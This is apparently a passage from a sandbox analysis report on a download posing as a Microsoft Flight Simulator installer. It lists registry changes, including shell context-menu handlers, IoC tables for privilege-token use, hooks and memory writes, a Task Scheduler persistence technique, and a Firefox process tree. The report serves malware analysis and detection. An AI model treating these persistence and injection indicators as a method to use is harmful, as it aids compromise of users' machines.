Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader.1\CLSID	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769744-DE48-11D2-B7C8-A62255602516}	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader\CurVer\ = "DSOleFile.PropertyReader.1"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\ = "CustomProperty"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\TypeLib	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\ = "CustomProperty"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769741-DE48-11D2-B7C8-A62255602516}\ = "_PropertyReader"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\TypeLib	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{72E8D54B-C929-4DD8-8723-3006F89F7D58}	forfiles.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3955D421-C8F3-11d2-B7C8-A22B3D95F811}\ = "OLE File Property Reader Class"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader\CLSID\ = "{3955D421-C8F3-11d2-B7C8-A22B3D95F811}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader\CurVer	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4\0\win32\ = "C:\\Program Files (x86)\\CCggedFrog\\extensions\\Meta\\dsofile.dll"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\TypeLib\ = "{93769740-DE48-11D2-B7C8-A62255602516}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769741-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{72E8D54B-C929-4DD8-8723-3006F89F7D58}\ = "TFShellMenu"	forfiles.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3955D421-C8F3-11d2-B7C8-A22B3D95F811}\ProgID\ = "DSOleFile.PropertyReader.1"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769741-DE48-11D2-B7C8-A62255602516}\TypeLib\ = "{93769740-DE48-11D2-B7C8-A62255602516}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769741-DE48-11D2-B7C8-A62255602516}\TypeLib\Version = "1.4"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769741-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769741-DE48-11D2-B7C8-A62255602516}\TypeLib	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\TaggedFrogExt	forfiles.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\TypeLib\ = "{93769740-DE48-11D2-B7C8-A62255602516}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769743-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769744-DE48-11D2-B7C8-A62255602516}\TypeLib\ = "{93769740-DE48-11D2-B7C8-A62255602516}"	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\TypeLib	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93769742-DE48-11D2-B7C8-A62255602516}\ = "DocumentProperties"	WerFault.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\TFShellMenu.DLL\AppID = "{72E8D54B-C929-4DD8-8723-3006F89F7D58}"	forfiles.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\TaggedFrogExt	forfiles.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DSOleFile.PropertyReader	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4\0	WerFault.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{93769740-DE48-11D2-B7C8-A62255602516}\1.4\HELPDIR	WerFault.exe

NTFS ADS 1 IoCs

Processes:

firefox.exe

description ioc process

File created C:\Users\Admin\Downloads\Microsoft-Flight-Sim_3Id1M4Xh.zip:Zone.Identifier firefox.exe
Runs net.exe

description	ioc	process
File created	C:\Users\Admin\Downloads\Microsoft-Flight-Sim_3Id1M4Xh.zip:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

Processes:

jLiteSort312.exemsedge.exemsedge.exeidentity_helper.exeWerFault.exetaskmgr.exemsedge.exepowershell.exepowershell.exe

pid	process
5308	jLiteSort312.exe
5308	jLiteSort312.exe
5804	msedge.exe
5804	msedge.exe
5308	jLiteSort312.exe
5308	jLiteSort312.exe
1080	msedge.exe
1080	msedge.exe
7000	identity_helper.exe
7000	identity_helper.exe
5308	jLiteSort312.exe
5308	jLiteSort312.exe
3196	WerFault.exe
3196	WerFault.exe
3196	WerFault.exe
5308	jLiteSort312.exe
5308	jLiteSort312.exe
5308	jLiteSort312.exe
5308	jLiteSort312.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6488	msedge.exe
6488	msedge.exe
6488	msedge.exe
6488	msedge.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
5308	jLiteSort312.exe
5308	jLiteSort312.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
5832	powershell.exe
5832	powershell.exe
5832	powershell.exe
2072	powershell.exe
2072	powershell.exe
2072	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

Processes:

msedge.exe

pid process

1080 msedge.exe
1080 msedge.exe
1080 msedge.exe
1080 msedge.exe
1080 msedge.exe
1080 msedge.exe
1080 msedge.exe

pid	process
1080	msedge.exe
1080	msedge.exe
1080	msedge.exe
1080	msedge.exe
1080	msedge.exe
1080	msedge.exe
1080	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

firefox.exeWerFault.exeWerFault.exetaskmgr.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	5044	WerFault.exe
Token: SeDebugPrivilege	3196	WerFault.exe
Token: SeDebugPrivilege	4912	firefox.exe
Token: SeDebugPrivilege	6840	taskmgr.exe
Token: SeSystemProfilePrivilege	6840	taskmgr.exe
Token: SeCreateGlobalPrivilege	6840	taskmgr.exe
Token: SeDebugPrivilege	5832	powershell.exe
Token: 33	6840	taskmgr.exe
Token: SeIncBasePriorityPrivilege	6840	taskmgr.exe
Token: SeDebugPrivilege	2072	powershell.exe

Suspicious use of FindShellTrayWindow 54 IoCs

Processes:

firefox.exemsedge.exetaskmgr.exe

pid	process
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
1080	msedge.exe
1080	msedge.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe

Suspicious use of SendNotifyMessage 51 IoCs

Processes:

firefox.exetaskmgr.exe

pid	process
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe
6840	taskmgr.exe

Suspicious use of SetWindowsHookEx 26 IoCs

Processes:

firefox.exeMicrosoft-Flight-Sim_3Id1M4Xh.exeis-OAS5G.tmpjLiteSort312.exejLiteSort312.exefpOQCp9FZMk3WSbP9.exeis-OC0OF.tmpnet1.exe3oFhX.exeREINXOcrrM.exeis-A6LE6.tmpcdc.exeCCggedFrog312.exeT73k12R3i9On0dJFlgKp.exeWerFault.exeSyncBackupShell.exeMicrosoft-Flight-Sim_3Id1M4Xh.exeis-50NG3.tmpjLiteSort312.exejLiteSort312.exe

pid	process
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
4912	firefox.exe
8	Microsoft-Flight-Sim_3Id1M4Xh.exe
3092	is-OAS5G.tmp
5532	jLiteSort312.exe
5308	jLiteSort312.exe
3812	fpOQCp9FZMk3WSbP9.exe
5412	is-OC0OF.tmp
748	net1.exe
1032	3oFhX.exe
6720	REINXOcrrM.exe
320	is-A6LE6.tmp
3740	cdc.exe
5996	CCggedFrog312.exe
6512	T73k12R3i9On0dJFlgKp.exe
2440	WerFault.exe
6904	SyncBackupShell.exe
6552	Microsoft-Flight-Sim_3Id1M4Xh.exe
6212	is-50NG3.tmp
6192	jLiteSort312.exe
1480	jLiteSort312.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

firefox.exefirefox.exe

description	pid	process	target process
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 2572 wrote to memory of 4912	2572	firefox.exe	firefox.exe
PID 4912 wrote to memory of 3828	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 3828	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 2208	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 3904	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 3904	4912	firefox.exe	firefox.exe
PID 4912 wrote to memory of 3904	4912	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\zip.zip
1⤵
PID:464

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.0.522744396\280393427" -parentBuildID 20221007134813 -prefsHandle 1844 -prefMapHandle 1836 -prefsLen 20812 -prefMapSize 232645 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fc4bd116-ec5c-4725-8e8f-28f201de1207} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 1924 15dc2bea258 gpu
    3⤵
    PID:3828
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.1.667160183\1863906979" -parentBuildID 20221007134813 -prefsHandle 2304 -prefMapHandle 2300 -prefsLen 20848 -prefMapSize 232645 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95d6fb10-5261-4831-acc2-73d5b7ced0a9} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 2316 15db5c70758 socket
    3⤵
    PID:2208
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.2.329050550\190815754" -childID 1 -isForBrowser -prefsHandle 3416 -prefMapHandle 3412 -prefsLen 20996 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0dc85a8-857d-4a07-89b8-31235a3bcd5a} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 3428 15dc65e4158 tab
    3⤵
    PID:3904
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.3.1843501010\27195091" -childID 2 -isForBrowser -prefsHandle 3600 -prefMapHandle 3584 -prefsLen 26441 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e34af5d5-fe2b-4a25-86ee-c087b0ab9170} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 3340 15dc51e5558 tab
    3⤵
    PID:2464
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.4.1101141291\1220264008" -childID 3 -isForBrowser -prefsHandle 4064 -prefMapHandle 4060 -prefsLen 26441 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {11c1c3df-c0a9-4c68-9f3b-93599fad59e9} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 4076 15dc7953558 tab
    3⤵
    PID:4960
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.5.848519895\1693642509" -childID 4 -isForBrowser -prefsHandle 4864 -prefMapHandle 4824 -prefsLen 26500 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {496e3c33-1ace-43dc-bc79-f1be215dba44} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 4836 15dc512fb58 tab
    3⤵
    PID:4892
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.7.1366996813\124550038" -childID 6 -isForBrowser -prefsHandle 5040 -prefMapHandle 5052 -prefsLen 26500 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {649734f4-3d59-40bd-aeed-f3a4c3b8f814} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 5160 15dc88cdb58 tab
    3⤵
    PID:5080
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.6.1502481598\519951346" -childID 5 -isForBrowser -prefsHandle 4876 -prefMapHandle 4872 -prefsLen 26500 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aad84597-2059-4b81-b301-15b104fcc9c5} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 4904 15dc67cc258 tab
    3⤵
    PID:4852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.8.709275493\484722821" -childID 7 -isForBrowser -prefsHandle 5636 -prefMapHandle 1680 -prefsLen 27036 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f12db07b-af9d-443d-8cbf-40c49e9ff56b} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 5660 15db5c6df58 tab
    3⤵
    PID:6064
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.9.1694090561\446241870" -childID 8 -isForBrowser -prefsHandle 5928 -prefMapHandle 5924 -prefsLen 27036 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1b26eb30-0ffb-4d4c-a3cc-a72dd298432d} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 5480 15dca896e58 tab
    3⤵
    PID:5740
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.10.1425752183\1002716753" -childID 9 -isForBrowser -prefsHandle 6120 -prefMapHandle 6136 -prefsLen 27036 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {57564cdb-d285-48b4-99a1-18d3205b582c} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 6116 15dc9a5a358 tab
    3⤵
    PID:5216
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.11.1285678359\1030504625" -childID 10 -isForBrowser -prefsHandle 6244 -prefMapHandle 3764 -prefsLen 27036 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {040a8a06-38a3-4e31-a138-b5c5641df84a} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 6260 15dca17b258 tab
    3⤵
    PID:5992
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.12.770339980\836397470" -childID 11 -isForBrowser -prefsHandle 6388 -prefMapHandle 6376 -prefsLen 27036 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cc323991-e3cf-4540-b484-59848a4a212f} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 6396 15dca02e758 tab
    3⤵
    PID:4032
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.13.238865375\1246304948" -parentBuildID 20221007134813 -prefsHandle 6244 -prefMapHandle 3764 -prefsLen 27036 -prefMapSize 232645 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2e46efd6-1605-4ab4-aa39-2ef3dfa9476c} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 6324 15dca02f958 rdd
    3⤵
    PID:4852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.14.839777769\1628102095" -childID 12 -isForBrowser -prefsHandle 9632 -prefMapHandle 9636 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8348884-8565-4cb4-90fb-c77ad533dfb2} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 10588 15dcb0d2858 tab
    3⤵
    PID:5392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.15.278062252\448161848" -childID 13 -isForBrowser -prefsHandle 9524 -prefMapHandle 5248 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f72fac16-9e92-41e9-b648-eb6f93c74ca3} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 5868 15dca507958 tab
    3⤵
    PID:5608
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.17.1829975361\1830276056" -childID 15 -isForBrowser -prefsHandle 9480 -prefMapHandle 9500 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4597882-78bc-4460-8566-6be4cb7c3ae0} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 9280 15dc7d2f258 tab
    3⤵
    PID:856
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.16.20592121\1085719137" -childID 14 -isForBrowser -prefsHandle 9416 -prefMapHandle 9420 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cafb38ab-f549-41d1-be3c-23816e8f77e0} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 9408 15dc7d2e358 tab
    3⤵
    PID:3360
- - C:\Program Files\Mozilla Firefox\firefox.exe
